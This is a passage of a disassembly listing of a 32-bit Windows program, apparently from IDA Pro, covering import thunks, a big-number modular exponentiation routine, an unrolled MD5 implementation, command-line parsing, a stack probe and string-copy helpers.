sub_406E70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406E7C	proc near		; CODE XREF: sub_404184+15p
		jmp	ds:dword_426358
sub_406E7C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406E88	proc near		; CODE XREF: sub_40414B+30p
		jmp	ds:dword_42635C
sub_406E88	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E94	proc near		; CODE XREF: sub_405336+13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, dword_425448
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_406F5F
		xor	edx, edx


loc_406EC4:				; CODE XREF: sub_406E94+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_406ED6
		mov	edx, [ebp+arg_4]
		call	sub_406EF0


loc_406ED6:				; CODE XREF: sub_406E94+38j
		lea	edx, dword_425448
		call	sub_406EF0
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_406EC4
		popa
		pop	ebp
		retn	10h
sub_406E94	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406EF0	proc near		; CODE XREF: sub_406E94+3Dp
					; sub_406E94+48p
		lea	edi, dword_425408
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, dword_425448
		call	sub_406F5F


loc_406F0A:				; CODE XREF: sub_406EF0+5Dj
		lea	edi, dword_425408
		mov	ecx, 10h
		xor	eax, eax


loc_406F17:				; CODE XREF: sub_406EF0+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_406F17
		call	sub_406F70
		bt	dword_425448, ebx
		jnb	short loc_406F4C
		mov	esi, edx
		lea	edi, dword_425408
		xor	eax, eax
		mov	ecx, 10h


loc_406F3B:				; CODE XREF: sub_406EF0+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_406F3B
		call	sub_406F70


loc_406F4C:				; CODE XREF: sub_406EF0+3Aj
		dec	ebx
		jns	short loc_406F0A
		mov	edi, edx
		lea	esi, dword_425408
		mov	ecx, 10h
		rep movsd
		retn
sub_406EF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F5F	proc near		; CODE XREF: sub_406E94+29p
					; sub_406EF0+15p
		mov	ebx, 1FFh


loc_406F64:				; CODE XREF: sub_406F5F+Bj
		bt	[edi], ebx
		jb	short locret_406F6C
		dec	ebx
		jnz	short loc_406F64

locret_406F6C:				; CODE XREF: sub_406F5F+8j
		retn
sub_406F5F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406F70	proc near		; CODE XREF: sub_406EF0+2Ep
					; sub_406EF0+57p
		lea	esi, dword_425408
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_406F7E:				; CODE XREF: sub_406F70+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_406FA7
		ja	short loc_406F8B
		dec	ecx
		jns	short loc_406F7E


loc_406F8B:				; CODE XREF: sub_406F70+16j
		mov	esi, [ebp+14h]
		lea	edi, dword_425408
		xor	eax, eax
		mov	ecx, 10h


loc_406F9B:				; CODE XREF: sub_406F70+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_406F9B

locret_406FA7:				; CODE XREF: sub_406F70+14j
		retn
sub_406F70	endp


; =============== S U B	R O U T	I N E =======================================



sub_406FA8	proc near		; CODE XREF: sub_406FF9+32p
					; sub_406FF9+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_406FA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_406FB5	proc near		; CODE XREF: sub_406FF9+219p
					; sub_406FF9+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_406FB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_406FC2	proc near		; CODE XREF: sub_406FF9+420p
					; sub_406FF9+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_406FC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_406FC9	proc near		; CODE XREF: sub_406FF9+627p
					; sub_406FF9+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_406FC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406FD2	proc near		; CODE XREF: sub_405350+58p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_406FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406FF9	proc near		; CODE XREF: sub_405350+69p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	dword_425488, eax
		mov	eax, [edi+4]
		mov	dword_42548C, eax
		mov	eax, [edi+8]
		mov	dword_425490, eax
		mov	eax, [edi+0Ch]
		mov	dword_425494, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FA8
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FA8
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FA8
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FA8
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FA8
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FA8
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FA8
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FA8
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FA8
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FA8
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FA8
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FA8
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FA8
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FA8
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FA8
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FB5
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FB5
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FB5
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FB5
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FB5
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FB5
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FB5
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FB5
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FB5
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FB5
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FB5
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FB5
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FB5
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FB5
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FB5
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FB5
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FC2
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FC2
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FC2
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FC2
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FC2
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FC2
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FC2
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FC2
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FC2
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FC2
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FC2
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FC2
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FC2
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FC2
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FC2
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FC2
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FC9
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FC9
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FC9
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FC9
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FC9
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FC9
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FC9
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FC9
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FC9
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FC9
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FC9
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FC9
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_406FC9
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_406FC9
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_406FC9
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_406FC9
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, dword_425488
		add	[edi], eax
		mov	eax, dword_42548C
		add	[edi+4], eax
		mov	eax, dword_425490
		add	[edi+8], eax
		mov	eax, dword_425494
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_406FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407844	proc near		; CODE XREF: sub_405AAC+79Ap

var_1C		= dword	ptr -1Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		fnstcw	[ebp+var_2]
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		fldcw	[ebp+var_2]
		leave
		retn
sub_407844	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407868	proc near		; CODE XREF: sub_401219+66p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_407930	; GetCommandLineA
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_40789C
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_407E70
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_4078B7
		mov	edi, eax
		inc	edi
		jmp	short loc_407894
; ---------------------------------------------------------------------------


loc_407893:				; CODE XREF: sub_407868+2Fj
		inc	edi


loc_407894:				; CODE XREF: sub_407868+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_407893
		jmp	short loc_4078B7
; ---------------------------------------------------------------------------


loc_40789B:				; CODE XREF: sub_407868+3Ej
		inc	edi


loc_40789C:				; CODE XREF: sub_407868+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_4078A8
		cmp	eax, 20h
		jnz	short loc_40789B


loc_4078A8:				; CODE XREF: sub_407868+39j
		jmp	short loc_4078AB
; ---------------------------------------------------------------------------


loc_4078AA:				; CODE XREF: sub_407868+4Dj
		inc	edi


loc_4078AB:				; CODE XREF: sub_407868:loc_4078A8j
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_4078B7
		cmp	eax, 20h
		jz	short loc_4078AA


loc_4078B7:				; CODE XREF: sub_407868+24j
					; sub_407868+31j ...
		push	0
		call	sub_407978	; GetModuleHandleA
		push	1
		push	edi
		push	0
		push	eax
		call	sub_406344
		pop	edi
		leave
		retn
sub_407868	endp


; =============== S U B	R O U T	I N E =======================================



sub_4078CC	proc near		; CODE XREF: sub_40129C+8p
					; sub_401EAF+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_4078CD:				; CODE XREF: sub_4078CC+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_4078CD
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_4078CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4078EC	proc near		; CODE XREF: sub_401565+75p
					; sub_4034AD+1Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_4078EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407918	proc near		; CODE XREF: sub_406344+1F1p
		jmp	ds:dword_426368
sub_407918	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407924	proc near		; CODE XREF: sub_403D8E+9Cp
		jmp	ds:dword_42636C
sub_407924	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407930	proc near		; CODE XREF: sub_407868+5p
		jmp	ds:dword_426370
sub_407930	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40793C	proc near		; CODE XREF: sub_401B3E:loc_401D6Ep
					; sub_4033E8+6p ...
		jmp	ds:dword_426374
sub_40793C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407948	proc near		; CODE XREF: sub_402CB2+Fp
		jmp	ds:dword_426378
sub_407948	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407954	proc near		; CODE XREF: sub_4014E2+3Cp
					; sub_405AAC+3D3p
		jmp	ds:dword_42637C
sub_407954	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407960	proc near		; CODE XREF: sub_40519A+7Ap
		jmp	ds:dword_426380
sub_407960	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40796C	proc near		; CODE XREF: sub_402784+89p
					; sub_402B0D+1Ep ...
		jmp	ds:dword_426384
sub_40796C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407978	proc near		; CODE XREF: sub_4019A1+6p
					; sub_401B3E+C3p ...
		jmp	ds:dword_426388
sub_407978	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407984	proc near		; CODE XREF: sub_40129C+4Fp
					; sub_4014E2+72p ...
		jmp	ds:dword_42638C
sub_407984	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407990	proc near		; CODE XREF: sub_4019A1+13p
					; sub_4019A1+23p ...
		jmp	ds:dword_426390
sub_407990	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40799C	proc near		; CODE XREF: sub_4026EE+1Dp
					; sub_402B0D+4Ep ...
		jmp	ds:dword_426394
sub_40799C	endp

; ---------------------------------------------------------------------------
		align 8

